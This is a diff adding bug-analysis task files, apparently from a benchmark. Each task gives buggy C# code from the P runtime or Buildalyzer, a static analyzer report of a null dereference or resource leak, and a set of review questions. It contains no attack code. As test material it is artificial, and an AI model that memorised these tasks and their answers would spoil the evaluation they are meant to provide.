+            keys.RemoveAt(index);
+            values.RemoveAt(index);
+        }
+
+        public void Update(PrtValue key, PrtValue val)
+        {
+            if (!Contains(key))
+            {
+                //TODO: raise an exception for invalid update
+            }
+            var index = keys.FindIndex((k => k.Equals(key)));
+            values[index] = val.Clone();
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            Debug.Assert(val is PrtMapValue, "Error in type checking, invalid equals invocation");
+            var mapVal = val as PrtMapValue;
+            if (mapVal.keys.Count != this.keys.Count)
+            {
+                return false;
+            }
+            else
+            {
+                foreach (var k in this.keys)
+                {
+                    if (!mapVal.Contains(k))
+                    {
+                        return false;
+                    }
+                    else
+                    {
+                        var index = this.keys.FindIndex(_k => _k.Equals(k));
+                        var _index = mapVal.keys.FindIndex(_k => _k.Equals(k));
+                        if (this.values[index].Equals(mapVal.values[_index]))
+                        {
+                            return false;
+                        }
+                    }
+                }
+                return true;
+            }
+        }
+
+        public override string ToString()
+        {
+            string retStr = "(";
+            int index = 0;
+
+            while (index < values.Count)
+            {
+                retStr += "(" + keys[index].ToString() + "," + values[index].ToString() + "), ";
+                index++;
+            }
+            retStr += ")";
+            return retStr;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `seqVal` last assigned on line 581 could be null and is dereferenced at line 582, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean PrtSeqValue.Equals(PrtValue)
+
+### File:
+Src/PTester/PRuntime/PrtValue.cs
+
+### Key:
+PrtValue.cs|Equals|NULL_DEREFERENCE
+
+### Node Key:
+753a00df2e40bf068417ea89da5f239f
+
+### Hash:
+ebeb765cd32f12eb2363bb57eba837c7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2861/instruction.md b/inferredbugs-2861/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..890f55aadef95a7a99ae308b6d6d9f414ce5a5fd
--- /dev/null
+++ b/inferredbugs-2861/instruction.md
@@ -0,0 +1,589 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** P
+**Bug ID:** 14
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Linq;
+using System.Collections.Generic;
+using System.Diagnostics;
+
+namespace P.Runtime
+{
+    public enum PrtMachineStatus
+    {
+        Enabled,        // The state machine is enabled
+        Blocked,        // The state machine is blocked on a dequeue or receive
+        Halted,         // The state machine has halted
+    };
+    public enum PrtNextStatemachineOperation
+    {
+        EntryOperation,
+        DequeueOperation,
+        HandleEventOperation,
+        ReceiveOperation
+    };
+    public enum PrtStateExitReason
+    {
+        NotExit,
+        OnTransition,
+        OnTransitionAfterExit,
+        OnPopStatement,
+        OnGotoStatement,
+        OnUnhandledEvent
+    };
+    public enum PrtDequeueReturnStatus { SUCCESS, NULL, BLOCKED };
+
+    public abstract class PrtImplMachine : PrtMachine
+    {
+        #region Fields
+        
+        public PrtEventBuffer eventQueue;
+        public HashSet<PrtValue> receiveSet;
+        public int maxBufferSize;
+        public bool doAssume;
+        #endregion
+
+        #region Clone and Undo
+        public PrtImplMachine Clone()
+        {
+            var clonedMachine = MakeSkeleton();
+            clonedMachine.instanceNumber = this.instanceNumber;
+            foreach(var fd in fields)
+            {
+                clonedMachine.fields.Add(fd.Clone());
+            }
+            clonedMachine.eventValue = this.eventValue;
+            clonedMachine.stateStack = this.stateStack.Clone();
+            clonedMachine.invertedFunStack = this.invertedFunStack.Clone();
+            clonedMachine.continuation = this.continuation.Clone();
+            clonedMachine.currentTrigger = this.currentTrigger;
+            clonedMachine.currentPayload = this.currentPayload.Clone();
+            clonedMachine.eventQueue = this.eventQueue.Clone();
+            foreach(var ev in this.receiveSet)
+            {
+                clonedMachine.receiveSet.Add(ev);
+            }
+            clonedMachine.currentStatus = this.currentStatus;
+            clonedMachine.nextSMOperation = this.nextSMOperation;
+            clonedMachine.stateExitReason = this.stateExitReason;
+            clonedMachine.maxBufferSize = this.maxBufferSize;
+            clonedMachine.doAssume = this.doAssume;
+            clonedMachine.stateImpl = this.stateImpl;
+            return clonedMachine;
+        }
+        #endregion
+
+        #region Constructor
+        public abstract PrtImplMachine MakeSkeleton();
+
+        public PrtImplMachine() : base()
+        {
+            this.maxBufferSize = 0;
+            this.doAssume = false;
+            this.eventQueue = new PrtEventBuffer();
+            this.receiveSet = new HashSet<PrtValue>();
+        }
+
+        public PrtImplMachine(StateImpl app, int maxBuff, bool assume) : base()
+        {
+            this.instanceNumber = this.NextInstanceNumber(app);
+            this.eventQueue = new PrtEventBuffer();
+            this.receiveSet = new HashSet<PrtValue>();
+            this.maxBufferSize = maxBuff;
+            this.doAssume = assume;
+            this.stateImpl = app;
+            //Push the start state function on the funStack.
+            PrtPushState(StartState);
+        }
+        #endregion
+
+        #region getters and setters
+        public abstract int NextInstanceNumber(StateImpl app);
+        #endregion
+
+        #region State machine helper functions
+        public void PrtResetTriggerAndPayload()
+        {
+            currentTrigger = PrtValue.NullValue;
+            currentPayload = PrtValue.NullValue;
+        }
+
+        public override void PrtEnqueueEvent(PrtValue e, PrtValue arg, PrtMachine source)
+        {
+            
+            if (e is PrtNullValue)
+            {
+                throw new PrtIllegalEnqueueException("Enqueued event must be non-null");
+            }
+            PrtType prtType;
+            PrtEventValue ev = e as PrtEventValue;
+            
+
+            //assertion to check if argument passed inhabits the payload type.
+            prtType = ev.evt.payloadType;
+
+            if (!(prtType is PrtNullType) && !PrtValue.PrtInhabitsType(arg, prtType))
+            {
+                throw new PrtInhabitsTypeException(String.Format("Payload <{0}> does not match the expected type <{1}> with event <{2}>", arg.ToString(), prtType.ToString(), ev.evt.name));
+            }
+            else if (prtType is PrtNullType && !(arg is PrtNullValue))
+            {
+                throw new PrtIllegalEnqueueException("Did not expect a payload value");
+            }
+
+            if (currentStatus == PrtMachineStatus.Halted)
+            {
+                stateImpl.Trace(
+                    @"<EnqueueLog> {0}-{1} Machine has been halted and Event {2} is dropped",
+                    this.Name, this.instanceNumber, ev.evt.name);
+            }
+            else
+            {
+                stateImpl.Trace(
+                    @"<EnqueueLog> Enqueued Event <{0}, {1}> in {2}-{3} by {4}-{5}",
+                    ev.evt.name, arg.ToString(), this.Name, this.instanceNumber, source.Name, source.instanceNumber);
+
+                this.eventQueue.EnqueueEvent(e, arg);
+                if (this.maxBufferSize != -1 && this.eventQueue.Size() > this.maxBufferSize)
+                {
+                    if (this.doAssume)
+                    {
+                        throw new PrtAssumeFailureException();
+                    }
+                    else
+                    {
+                        throw new PrtMaxBufferSizeExceededException(
+                            String.Format(@"<EXCEPTION> Event Buffer Size Exceeded {0} in Machine {1}-{2}",
+                            this.maxBufferSize, this.Name, this.instanceNumber));
+                    }
+                }
+                if (currentStatus == PrtMachineStatus.Blocked && this.eventQueue.IsEnabled(this))
+                {
+                    currentStatus = PrtMachineStatus.Enabled;
+                }
+            }
+
+            //Announce it to all the monitors
+            stateImpl.Announce(e, arg, source);
+        }
+
+        public PrtDequeueReturnStatus PrtDequeueEvent(bool hasNullTransition)
+        {
+            if (eventQueue.DequeueEvent(this))
+            {
+                if (currentStatus == PrtMachineStatus.Blocked)
+                {
+                    throw new PrtInternalException("Internal error: Tyring to execute blocked machine");
+                }
+
+                stateImpl.Trace(
+                    "<DequeueLog> Dequeued Event < {0}, {1} > at Machine {2}-{3}\n",
+                    (currentTrigger as PrtEventValue).evt.name, currentPayload.ToString(), Name, instanceNumber);
+                receiveSet = new HashSet<PrtValue>();
+                return PrtDequeueReturnStatus.SUCCESS;
+            }
+            else if (hasNullTransition || receiveSet.Contains(currentTrigger))
+            {
+                if (currentStatus == PrtMachineStatus.Blocked)
+                {
+                    throw new PrtInternalException("Internal error: Tyring to execute blocked machine");
+                }
+                stateImpl.Trace(
+                    "<NullTransLog> Null transition taken by Machine {0}-{1}\n",
+                    Name, instanceNumber);
+                currentPayload = PrtValue.NullValue;
+                currentTrigger = PrtValue.NullValue;
+                receiveSet = new HashSet<PrtValue>();
+                return PrtDequeueReturnStatus.NULL;
+            }
+            else
+            {
+                if (currentStatus == PrtMachineStatus.Blocked)
+                {
+                    throw new PrtAssumeFailureException();
+                }
+                currentStatus = PrtMachineStatus.Blocked;
+                if (stateImpl.Deadlock)
+                {
+                    throw new PrtDeadlockException("Deadlock detected");
+                }
+                return PrtDequeueReturnStatus.BLOCKED;
+            }
+        }
+
+        public void PrtExecuteReceiveCase(PrtValue ev)
+        {
+            var currRecIndex = continuation.receiveIndex;
+            var currFun = invertedFunStack.TopOfStack.fun.receiveCases[currRecIndex][ev];
+            if(currFun.IsAnonFun)
+                PrtPushFunStackFrame(currFun, currFun.CreateLocals(currentPayload));
+            else
+                PrtPushFunStackFrame(currFun, currFun.CreateLocals());
+
+            currFun.Execute(stateImpl, this);
+        }
+
+        public bool PrtIsPushTransitionPresent(PrtValue ev)
+        {
+            if (CurrentState.transitions.ContainsKey(ev))
+                return CurrentState.transitions[ev].isPushTran;
+            else
+                return false;
+        }
+
+        public bool PrtHasNullReceiveCase()
+        {
+            return receiveSet.Contains(PrtValue.HaltEvent);
+        }
+        #endregion
+
+
+        public void PrtRunStateMachine()
+        {
+            int numOfStepsTaken = 0;
+            Debug.Assert(currentStatus == PrtMachineStatus.Enabled, "Invoked PrtRunStateMachine on a blocked or a halted machine");
+
+            try
+            {
+                while (PrtStepStateMachine())
+                {
+                    if (numOfStepsTaken > 100000)
+                    {
+                        throw new PrtInfiniteRaiseLoop();
+                    }                   
+                    numOfStepsTaken++;
+                }
+            }
+            catch(PrtException ex)
+            {
+                stateImpl.Exception = ex;
+            }
+            
+        }
+        
+        public bool PrtStepStateMachine()
+        {
+            PrtValue currEventValue;
+            PrtFun currAction;
+            bool hasMoreWork = false;
+
+            switch(nextSMOperation)
+            {
+                case PrtNextStatemachineOperation.EntryOperation:
+                    goto DoEntry;
+                case PrtNextStatemachineOperation.DequeueOperation:
+                    goto DoDequeue;
+                case PrtNextStatemachineOperation.HandleEventOperation:
+                    goto DoHandleEvent;
+                case PrtNextStatemachineOperation.ReceiveOperation:
+                    goto DoReceive;
+            }
+
+            DoEntry:
+            /*
+             * Note that we have made an assumption that when a state is pushed on state stack or a transition is taken (update to a state)
+             * the action set and deferred set is updated appropriately
+            */
+            if(invertedFunStack.TopOfStack == null)
+            {
+                //Trace: entered state
+                if(CurrentState.entryFun.IsAnonFun)
+                    PrtPushFunStackFrame(CurrentState.entryFun, CurrentState.entryFun.CreateLocals(currentPayload));
+                else
+                    PrtPushFunStackFrame(CurrentState.entryFun, CurrentState.entryFun.CreateLocals());
+            }
+            //invoke the function
+            invertedFunStack.TopOfStack.fun.Execute(stateImpl, this);
+            goto CheckFunLastOperation;
+
+            DoAction:
+            currAction = PrtFindActionHandler(eventValue);
+            if(currAction == PrtCommonFunctions.IgnoreFun)
+            {
+                //Trace: Performed ignore action for the event
+                PrtResetTriggerAndPayload();
+            }
+            else
+            {
+                if(invertedFunStack.TopOfStack == null)
+                {
+                    //Trace: executed the action handler for event
+                    PrtPushFunStackFrame(currAction, currAction.CreateLocals(currentPayload));
+                }
+                //invoke the action handler
+                invertedFunStack.TopOfStack.fun.Execute(stateImpl, this);
+            }
+            goto CheckFunLastOperation;
+
+            CheckFunLastOperation:
+            if(receiveSet.Count != 0)
+            {
+                // We are at a blocking "receive"; so do receive operation
+                nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                goto Finish;
+
+            }
+
+            switch(continuation.reason)
+            {
+                case PrtContinuationReason.Pop:
+                    {
+                        stateExitReason = PrtStateExitReason.OnPopStatement;
+                        PrtExecuteExitFunction();
+                        goto CheckFunLastOperation;
+                    }
+                case PrtContinuationReason.Goto:
+                    {
+                        stateExitReason = PrtStateExitReason.OnGotoStatement;
+                        PrtExecuteExitFunction();
+                        goto CheckFunLastOperation;
+                    }
+                case PrtContinuationReason.Raise:
+                    {
+                        nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                        hasMoreWork = true;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.NewMachine:
+                    {
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        hasMoreWork = false;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Nondet:
+                    {
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        stateImpl.SetPendingChoicesAsBoolean(this);
+                        continuation.nondet = ((Boolean)stateImpl.GetSelectedChoiceValue(this));
+                        hasMoreWork = false;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Receive:
+                    { 
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                        hasMoreWork = true;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Send:
+                    {
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        hasMoreWork = false;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Return:
+                    {
+                        switch (stateExitReason)
+                        {
+                            case PrtStateExitReason.NotExit:
+                                {
+                                    nextSMOperation = PrtNextStatemachineOperation.DequeueOperation;
+                                    hasMoreWork = true;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnPopStatement:
+                                {
+                                    hasMoreWork = !PrtPopState(true);
+                                    nextSMOperation = PrtNextStatemachineOperation.DequeueOperation;
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnGotoStatement:
+                                {
+                                    PrtChangeState(destOfGoto);
+                                    nextSMOperation = PrtNextStatemachineOperation.EntryOperation;
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    hasMoreWork = true;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnUnhandledEvent:
+                                {
+                                    hasMoreWork = !PrtPopState(false);
+                                    nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnTransition:
+                                {
+                                    stateExitReason = PrtStateExitReason.OnTransitionAfterExit;
+                                    PrtExecuteTransitionFun(eventValue);
+                                    goto CheckFunLastOperation;
+                                }
+                            case PrtStateExitReason.OnTransitionAfterExit:
+                                {
+                                    PrtChangeState(CurrentState.transitions[eventValue].gotoState);
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    nextSMOperation = PrtNextStatemachineOperation.EntryOperation;
+                                    hasMoreWork = true;
+                                    goto Finish;
+                                }
+                            default:
+                                {
+                                    Debug.Assert(false, "Unexpected value for exit reason");
+                                    goto Finish;
+                                }
+                        }
+                        
+                    }
+                default:
+                    {
+                        Debug.Assert(false, "Unexpected value for continuation reason");
+                        goto Finish;
+                    }
+            }
+
+            DoDequeue:
+            Debug.Assert(receiveSet.Count == 0, "Machine cannot be blocked at receive when here");
+            var dequeueStatus = PrtDequeueEvent(CurrentState.hasNullTransition);
+            if(dequeueStatus == PrtDequeueReturnStatus.BLOCKED)
+            {
+                nextSMOperation = PrtNextStatemachineOperation.DequeueOperation;
+                hasMoreWork = false;
+                goto Finish;
+
+            }
+            else if (dequeueStatus == PrtDequeueReturnStatus.SUCCESS)
+            {
+                nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                hasMoreWork = true;
+                goto Finish;
+            }
+            else // NULL transition
+            {
+                nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                hasMoreWork = false;
+                goto Finish;
+            }
+
+
+            DoHandleEvent:
+            Debug.Assert(receiveSet.Count == 0, "The machine must not be blocked on a receive");
+            if(!currentTrigger.Equals(PrtValue.NullValue))
+            {
+                currEventValue = currentTrigger;
+                currentTrigger = PrtValue.NullValue;
+            }
+            else
+            {
+                currEventValue = eventValue;
+            }
+
+            if(PrtIsPushTransitionPresent(currEventValue))
+            {
+                PrtPushState(CurrentState.transitions[currEventValue].gotoState);
+                goto DoEntry;
+            }
+            else if(PrtIsTransitionPresent(currEventValue))
+            {
+                stateExitReason = PrtStateExitReason.OnTransition;
+                eventValue = currEventValue;
+                PrtExecuteExitFunction();
+                goto CheckFunLastOperation;
+            }
+            else if(PrtIsActionInstalled(currEventValue))
+            {
+                goto DoAction;
+            }
+            else
+            {
+                stateExitReason = PrtStateExitReason.OnUnhandledEvent;
+                eventValue = currEventValue;
+                PrtExecuteExitFunction();
+                goto CheckFunLastOperation;
+            }
+
+            DoReceive:
+            Debug.Assert(receiveSet.Count == 0 && PrtHasNullReceiveCase(), "Receive set empty and at receive !!");
+            if(receiveSet.Count == 0)
+            {
+                stateExitReason = PrtStateExitReason.NotExit;
+                PrtExecuteReceiveCase(PrtValue.NullValue);
+                goto CheckFunLastOperation;
+            }
+            dequeueStatus = PrtDequeueEvent(false);
+            if (dequeueStatus == PrtDequeueReturnStatus.BLOCKED)
+            {
+                nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                hasMoreWork = false;
+                goto Finish;
+
+            }
+            else if (dequeueStatus == PrtDequeueReturnStatus.SUCCESS)
+            {
+                stateExitReason = PrtStateExitReason.NotExit;
+                PrtExecuteReceiveCase(currentTrigger);
+                goto CheckFunLastOperation;
+            }
+            else // NULL case
+            {
+                nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                hasMoreWork = false;
+                goto Finish;
+            }
+
+            Finish:
+            Debug.Assert(!hasMoreWork || currentStatus == PrtMachineStatus.Enabled, "hasMoreWork is true but the statemachine is blocked");
+            return hasMoreWork;
+
+            }
+
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `ev` last assigned on line 115 could be null and is dereferenced at line 119, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void PrtImplMachine.PrtEnqueueEvent(PrtValue,PrtValue,PrtMachine)
+
+### File:
+Src/PTester/PRuntime/PrtImplMachine.cs
+
+### Key:
+PrtImplMachine.cs|PrtEnqueueEvent|NULL_DEREFERENCE
+
+### Node Key:
+1a0a3377221f0ce1f34b4a032e53576d
+
+### Hash:
+2295a870af592b757de09e09d5419138
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2866/instruction.md b/inferredbugs-2866/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..78743b07f5fdc175f465e366be6c53cf4945191a
--- /dev/null
+++ b/inferredbugs-2866/instruction.md
@@ -0,0 +1,215 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Buildalyzer
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using Microsoft.Build.Evaluation;
+using Microsoft.Build.Execution;
+using Microsoft.Build.Logging;
+using Microsoft.Build.Tasks;
+using Microsoft.Build.Utilities;
+using ILogger = Microsoft.Build.Framework.ILogger;
+using LoggerExtensions = Microsoft.Extensions.Logging.LoggerExtensions;
+
+namespace Buildalyzer
+{
+    public class ProjectAnalyzer
+    {
+        private readonly Dictionary<string, string> _globalProperties;
+        private readonly IPathHelper _pathHelper;
+        private readonly ConsoleLogger _logger;
+
+        private Project _project = null;
+        private ProjectInstance _compiledProject = null;
+        
+        public string ProjectPath { get; }
+
+        /// <summary>
+        /// The global properties for MSBuild. By default, each project
+        /// is configured with properties that use a design-time build without calling the compiler.
+        /// </summary>
+        public IReadOnlyDictionary<string, string> GlobalProperties => _globalProperties;
+
+        public Project Project => Load();
+
+        public ProjectInstance CompiledProject => Compile();
+
+        internal ProjectAnalyzer(Analyzer analyzer, string projectPath)
+        {
+            ProjectPath = projectPath;
+
+            // Get the paths
+            _pathHelper = PathHelperFactory.GetPathHelper(projectPath);
+
+            // Preload/enforce referencing some required asemblies
+            Copy copy = new Copy();
+            Assembly.LoadFrom(Path.GetFullPath(Path.Combine(_pathHelper.RoslynTargetsPath, "Microsoft.Build.Tasks.CodeAnalysis.dll")));
+
+            // Set global properties
+            _globalProperties = new Dictionary<string, string>
+            {
+                { MsBuildProperties.SolutionDir, analyzer.SolutionDirectory ?? Path.GetDirectoryName(projectPath) },
+                { MsBuildProperties.MSBuildExtensionsPath, _pathHelper.ExtensionsPath },
+                { MsBuildProperties.MSBuildSDKsPath, _pathHelper.SDKsPath },
+                { MsBuildProperties.RoslynTargetsPath, _pathHelper.RoslynTargetsPath },
+                { MsBuildProperties.DesignTimeBuild, "true" },
+                { MsBuildProperties.BuildProjectReferences, "false" },
+                { MsBuildProperties.SkipCompilerExecution, "true" },
+                { MsBuildProperties.ProvideCommandLineArgs, "true" }
+            };
+            
+            // Create the logger
+            if(analyzer.ProjectLogger != null)
+            {
+                _logger = new ConsoleLogger(analyzer.LoggerVerbosity, x => LoggerExtensions.LogInformation(analyzer.ProjectLogger, x), null, null);
+            }
+        }
+
+        public Project Load()
+        {
+            if (_project != null)
+            {
+                return _project;
+            }
+
+            // Create a project collection for each project since the toolset might change depending on the type of project
+            ProjectCollection projectCollection = CreateProjectCollection();
+
+            // Load the project
+            using (new BuildEnvironment(GlobalProperties))
+            {
+                _project = projectCollection.LoadProject(ProjectPath);
+                return Project;
+            }
+        }
+
+        private ProjectCollection CreateProjectCollection()
+        {            
+            ProjectCollection projectCollection = new ProjectCollection(_globalProperties);
+            projectCollection.AddToolset(new Toolset(ToolLocationHelper.CurrentToolsVersion, _pathHelper.ToolsPath, projectCollection, string.Empty));
+            projectCollection.DefaultToolsVersion = ToolLocationHelper.CurrentToolsVersion;
+            if (_logger != null)
+            {
+                projectCollection.RegisterLogger(_logger);
+            }
+            return projectCollection;
+        }
+
+        public ProjectInstance Compile()
+        {
+            if (_compiledProject != null)
+            {
+                return _compiledProject;
+            }
+            Project project = Load();
+            if (project == null)
+            {
+                return null;
+            }
+            
+            // Compile the project
+            using (new BuildEnvironment(GlobalProperties))
+            {
+                ProjectInstance projectInstance = project.CreateProjectInstance();
+                if (!projectInstance.Build("Clean", _logger == null ? null : new ILogger[] { _logger }))
+                {
+                    return null;
+                }
+                if (!projectInstance.Build("Compile", _logger == null ? null : new ILogger[] { _logger }))
+                {
+                    return null;
+                }
+                _compiledProject = projectInstance;
+                return _compiledProject;
+            }
+        }
+
+        public IReadOnlyList<string> GetSourceFiles() => 
+            Compile()?.Items
+                .Where(x => x.ItemType == "CscCommandLineArgs" && !x.EvaluatedInclude.StartsWith("/"))
+                .Select(x => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(ProjectPath), x.EvaluatedInclude)))
+                .ToList();
+
+        public IReadOnlyList<string> GetReferences() =>
+            Compile()?.Items
+                .Where(x => x.ItemType == "CscCommandLineArgs" && x.EvaluatedInclude.StartsWith("/reference:"))
+                .Select(x => x.EvaluatedInclude.Substring(11))
+                .ToList();
+
+        public void SetGlobalProperty(string key, string value)
+        {
+            if (_project != null)
+            {
+                throw new InvalidOperationException("Can not change global properties once project has been loaded");
+            }
+            _globalProperties[key] = value;
+        }
+
+        public bool RemoveGlobalProperty(string key)
+        {
+            if (_project != null)
+            {
+                throw new InvalidOperationException("Can not change global properties once project has been loaded");
+            }
+            return _globalProperties.Remove(key);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource projectCollection of type Microsoft.Build.Evaluation.ProjectCollection in method "Project ProjectAnalyzer.Load()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Project ProjectAnalyzer.Load()
+
+### File:
+Buildalyzer/ProjectAnalyzer.cs
+
+### Key:
+ProjectAnalyzer.cs|Load|DOTNET_RESOURCE_LEAK
+
+### Hash:
+82d4654360b2846189074711fa7fe288
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2867/instruction.md b/inferredbugs-2867/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4a0a399a2f04949fd625f3162a7f7eeeabd8a593
--- /dev/null
+++ b/inferredbugs-2867/instruction.md
@@ -0,0 +1,271 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Buildalyzer
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Buildalyzer.Environment;
+using LibGit2Sharp;
+using Microsoft.Build.Construction;
+using Microsoft.Build.Framework;
+using NUnit.Framework;
+using Shouldly;
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading;
+
+namespace Buildalyzer.Tests.Integration
+{
+    [TestFixture]
+    [NonParallelizable]
+    public class OpenSourceProjectsFixture
+    {
+        private const LoggerVerbosity Verbosity = LoggerVerbosity.Normal;
+        private const bool BinaryLog = false;
+
+        private static EnvironmentPreference[] Preferences =
+        {
+#if Is_Windows
+            EnvironmentPreference.Framework,
+#endif
+            EnvironmentPreference.Core
+        };
+
+        private static TestRepository[] Repositories =
+        {
+            new TestRepository(EnvironmentPreference.Framework, "https://github.com/autofac/Autofac.git"),
+            new TestRepository("https://github.com/AutoMapper/AutoMapper.git"),
+            new TestRepository(EnvironmentPreference.Framework, "https://github.com/JamesNK/Newtonsoft.Json.git"),  // Contains portable project, can't build using SDK
+            new TestRepository("https://github.com/nodatime/nodatime.git",
+                @"\src\NodaTime.Web.Blazor\NodaTime.Web.Blazor.csproj"),
+            new TestRepository(EnvironmentPreference.Framework, "https://github.com/serilog/serilog.git"), // SourceLink messed up from AppVeyor on SDK: "SourceLink.Create.CommandLine.dll. Assembly with same name is already loaded Confirm that the <UsingTask> declaration is correct"
+            new TestRepository("https://github.com/cake-build/cake"),
+            new TestRepository("https://github.com/Wyamio/Wyam.git"),
+        };
+
+        public class TestRepository
+        {
+            public EnvironmentPreference? Preference { get; }
+
+            public string Url { get; }
+
+            public string[] Excluded { get; }
+
+            public TestRepository(string url, params string[] excluded)
+                : this(null, url, excluded)
+            {
+            }
+
+            public TestRepository(EnvironmentPreference? preference, string url, params string[] excluded)
+            {
+                Preference = preference;
+                Url = url;
+                Excluded = excluded ?? Array.Empty<string>();
+            }
+
+            public override string ToString() => Url;
+        }
+        
+        private static List<object[]> ProjectTestCases = new List<object[]>();
+
+        // Do setup in a static constructor since the TestCaseSource depends on it
+        // See https://stackoverflow.com/a/40507964/807064
+        static OpenSourceProjectsFixture()
+        {
+            foreach (TestRepository repository in Repositories)
+            {
+                string path = GetRepositoryPath(repository.Url);
+                CloneRepository(repository.Url, path);
+            }
+            
+            // Iterate all repositories
+            foreach (TestRepository repository in Repositories)
+            {
+                // Iterate all available preferences
+                foreach (EnvironmentPreference preference in Preferences)
+                {
+                    // Only build the desired preferences
+                    if (!repository.Preference.HasValue || repository.Preference.Value == preference)
+                    {
+                        // Iterate all solution files in the repository
+                        foreach (string solutionPath in
+                            Directory.EnumerateFiles(GetRepositoryPath(repository.Url), "*.sln", SearchOption.AllDirectories))
+                        {
+                            // Exclude any solution files we don't want to build
+                            if (!repository.Excluded.Any(x => solutionPath.EndsWith(x)))
+                            {
+                                // Get all the projects in this solution
+                                SolutionFile solutionFile = SolutionFile.Parse(solutionPath);
+                                foreach (string projectPath in
+                                    solutionFile.ProjectsInOrder
+                                    .Where(x => AnalyzerManager.SupportedProjectTypes.Contains(x.ProjectType))
+                                    .Select(x => x.AbsolutePath))
+                                {
+                                    // Exclude any project files we don't want to build
+                                    if (!repository.Excluded.Any(x => projectPath.EndsWith(x)))
+                                    {
+                                        ProjectTestCases.Add(new object[]
+                                        {
+                                                preference,
+                                                solutionPath,
+                                                projectPath
+                                        });
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        [TestCaseSource(nameof(ProjectTestCases))]
+        public void CompilesProject(EnvironmentPreference preference, string solutionPath, string projectPath)
+        {
+            // Given
+            StringWriter log = new StringWriter();
+            AnalyzerManager manager = new AnalyzerManager(solutionPath, new AnalyzerManagerOptions
+            {
+                LogWriter = log
+            });
